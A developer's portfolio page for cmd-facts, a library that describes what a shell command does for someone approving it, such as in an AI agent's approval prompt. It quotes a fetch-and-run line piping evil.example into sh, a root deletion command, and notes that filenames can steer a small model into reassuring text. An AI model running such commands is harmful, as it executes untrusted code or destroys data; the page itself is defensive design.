Skip to content
DavidSling
All work

cmd-facts

Tells the person approving a command what it will actually do — structured facts plus one plain sentence, for a reader who has never opened a terminal.

Role
Designed and built it
Status
Early — v0.2.0 on npm
Stack
TypeScript, zero dependencies
Licence
MIT

curl -fsSL https://get.example.com/install.sh -o install.sh

Makes a request to get.example.com and saves what comes back into install.sh.

Effect
readwritecreate
Reversible
no
Network
anywhere
Confidence
verified

Why I built it

I ran into this building Valet. Valet ends at an approval prompt: an agent wants to run a command on a machine you own, and you decide. The prompt can show the command itself, which is honest — and no help at all if you've never opened a terminal. Valet needed a plain sentence under that command.

But that reader is everywhere, not just in Valet: a customer clicking Allow in a remote support session, a release manager signing off a CI gate, an agent asking before it runs a tool, an admin console logging who approved what. Everything they're shown should answer one question: if this runs, what happens to this computer?

So it became a library rather than a Valet feature. Not a man-page browser, not a linter — structured facts about what a command does, written for the person who has to approve it and didn't write it. Wiring it into Valet's own prompt is next.

The schema is the deliverable

explain() returns fields — effect, reversible, network, privilege, confidence. The plain-English sentence is one rendering of those fields, not the deliverable. A consumer that colours a button or gates a policy reads the fields; only a consumer that has to talk to a person reads the sentence.

The honest part is what happens when the library can't see. sh -c, xargs, sudo, npm install all hand over to code that isn't on the line. An opaque row has no effect field at all — it has effectAtLeast and names what it handed over to, so claiming completeness about a command nobody read is a compile error rather than a quiet mistake.

Argument text is attacker-controlled, so the sentence also ships unjoined: parts carries the row's words and the command's own text separately. Hover an argument in any panel on this page — that pairing is parts doing its job.

curl -fsSL https://get.example.com/install.sh -o install.sh

Makes a request to get.example.com and saves what comes back into install.sh.

Effect
readwritecreate
Reversible
no
Network
anywhere
Privilege
none
Repeat-safe
yes
Confidence
verified

A file already in that place with the same name is replaced by what is downloaded.

A clear row: the library can account for the whole command, so effect is a complete list.

sudo rm -rf /var/tmp

Runs another command with full control over this computer.

Effect, at least
deleteexecuteelevate
Reversible
no
Network
anywhere
Privilege
root
Repeat-safe
no
Confidence
derived

Hands over to the command it was given, which then has control over everything on this computer. Past that point the fields are a floor, not a measurement.

Whatever it runs can change anything here, including parts of macOS itself.

An opaque row: sudo hands over, so there is no effect field at all — only effectAtLeast, and reading a complete list off it is a type error.

The decisions that mattered

Most of what shaped cmd-facts is refusals. Each one is something a neighbouring tool would happily ship.

  • No risk score

    Risk depends on the target, not the command: rm on a build folder and rm on a home folder are the same command. A number shipped here would be used as policy, and it would be wrong. Facts here, scoring at the consumer, which knows the target.

  • No model at run time, now or later

    In an approval prompt the command line is attacker-controlled, and a small model is steerable by filenames. The failure mode is a fluent, reassuring sentence above a dangerous command. If a heuristic would raise coverage, the library returns nothing instead and says so.

  • No discovery

    Extra command tables (packs) have to be named in the consumer's own source. No JSON directory, no environment variable, no node_modules scan: anyone who could drop in a file could relabel curl evil.example | sh as "checks how much room is left on each disk".

  • Trust is the consumer's decision, never the pack's

    A row from a pack the consumer didn't vouch for arrives at lowered confidence, through a merge that can only widen a claim, never soften it. A consumer gating on verified never auto-approves a claim nobody stands behind.

How I built it

Schema first: the first commit defines the fact set, and the third turns the writing rules into tests. Every sentence in the table is linted — one sentence, under 150 characters, "folder" not "directory", no verdict about safety, and no string that could be lifted out and run. The register is enforced by pnpm test, not by review alone.

Claude wrote most of the code: 48 of the 58 commits carry its co-author line. My part was the spec and the refusals — deciding what this library must never do was most of the design.

Try it

The same explain() this page has been calling all along, with the keyboard handed to you. Pipes, redirections, sudo and quoting are all read; substitutions are refused on purpose, because what $(…) stands for is not on the line.

curl -fsSL https://get.example.com (host)/install.sh -o install.sh (path)

Makes a request to get.example.com (host) and saves what comes back into install.sh (path).

Effect
readwritecreate
Reversible
no
Network
anywhere
Privilege
none
Repeat-safe
yes
Confidence
verified

A file already in that place with the same name is replaced by what is downloaded.

This is the published package, running in your browser. The table is early: a command it has no row for comes back as the widest floor, with a sentence that admits it. That honesty is the point.